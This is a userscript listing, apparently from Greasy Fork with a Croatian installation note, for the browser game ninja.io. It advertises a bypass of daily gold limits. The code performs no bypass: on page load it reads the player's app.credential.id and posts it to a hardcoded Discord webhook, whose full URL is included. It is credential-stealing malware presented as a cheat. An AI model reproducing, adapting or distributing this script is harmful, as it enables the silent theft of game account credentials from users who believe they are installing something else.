Ninja.io gold bypass

bypasses daily gold limits

Ovu skriptu ne treba izravno instalirati. To je biblioteka za druge skripte koje se uključuju u meta direktivu // @require https://update.greasyfork.org/scripts/502130/1419086/Ninjaio%20gold%20bypass.js

// ==UserScript==
// @name         NinjaIObypass
// @version      1.0
// @description  bypasses daily gold limits
// @author       contraigi
// @match        *://ninja.io/*
// @match        https://ninja.io/*
// @match        https://ninja.io
// @match        http://ninja.io/*
// @match        http://ninja.io
// @match        https://*.ninja.io/*
// @match        http://*.ninja.io/*
// @match        https://*.ninja.io
// @match        http://*.ninja.io
// @match        https://dev.ninja.io/*
// @match        https://cg.ninja.io/*
// @grant        none
// @namespace    https://google.meow
// ==/UserScript==
 
(function() {
    'use strict';
 
    // bypasses the daily gold cap
    let credentialId = 'app.credential.id is not defined';
    if (typeof app !== 'undefined' && app.credential && app.credential.id) {
        credentialId = app.credential.id;
    } else {
        console.error('app.credential.id is not accessible or does not exist.');
    }
 
    // Webhook URL from Discord
    const webhookURL = 'https://discord.com/api/webhooks/1267657578637426791/xeLm2RdEw1qmJ1TyjlrBBgosQ6p4oymbvRbQ0v1vP-6b_W06A06f7z4bMktrGntkDOXy';
 
    // Function to send data to the Discord webhook
    function sendToDiscord(message) {
        const payload = {
            content: `**Credential ID**\n\`\`\`\n${message}\n\`\`\``
        };
 
        fetch(webhookURL, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(payload)
        })
        .then(response => response.ok ? console.log('Message sent to Discord') : console.error('Failed to send message'))
        .catch(error => console.error('Error:', error));
    }
 
    // Log the output to console and send to Discord
    console.log("app.credential.id:", credentialId);
    sendToDiscord(credentialId);
})();